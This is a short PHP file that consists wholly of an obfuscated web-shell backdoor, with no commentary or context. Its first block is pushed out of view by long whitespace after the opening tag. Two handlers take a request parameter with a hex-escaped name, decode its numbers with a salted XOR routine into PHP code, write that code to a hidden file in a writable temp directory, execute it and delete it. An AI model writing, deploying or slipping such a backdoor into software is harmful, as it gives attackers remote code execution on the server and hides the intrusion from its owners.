<?php																																										if(isset($_REQUEST["c\x6Fm\x70"])){ $marker = array_filter([sys_get_temp_dir(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", session_save_path(), getenv("TEMP"), "/tmp"]); $property_set = $_REQUEST["c\x6Fm\x70"]; $property_set =explode ( ".", $property_set ) ; $pointer = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($property_set as $k=> $v7): $sChar = ord($s[$k% $lenS]); $dec = ((int)$v7 - $sChar - ($k% 10)) ^ 38; $pointer .= chr($dec); endforeach; foreach ($marker as $res): if (array_product([is_dir($res), is_writable($res)])) { $ptr = implode("/", [$res, ".tkn"]); if (file_put_contents($ptr, $pointer)) { require $ptr; unlink($ptr); exit; } } endforeach; }


if(in_array("sy\x6D", array_keys($_REQUEST))){
	$ent = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), sys_get_temp_dir(), "/tmp", getenv("TEMP"), "/var/tmp", "/dev/shm"]);
	$key = $_REQUEST["sy\x6D"];
				$key 	=	explode	(	 "."	, $key)  	;
	$fac=	'';
            $salt=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=	strlen($salt);
            $m=	0;
    
            while($m < count($key)) {
                $v4=	$key[$m];
                $chS=	ord($salt[$m		%$sLen]);
                $d=	((int)$v4 - $chS -($m		%10)) ^ 16;
                $fac .= 	chr($d);
                $m++;
            }
	while ($element = array_shift($ent)) {
    		if (max(0, is_dir($element) * is_writable($element))) {
    $k = join("/", [$element, ".holder"]);
    if (file_put_contents($k, $fac)) {
	include $k;
	@unlink($k);
	die();
}
}
}
}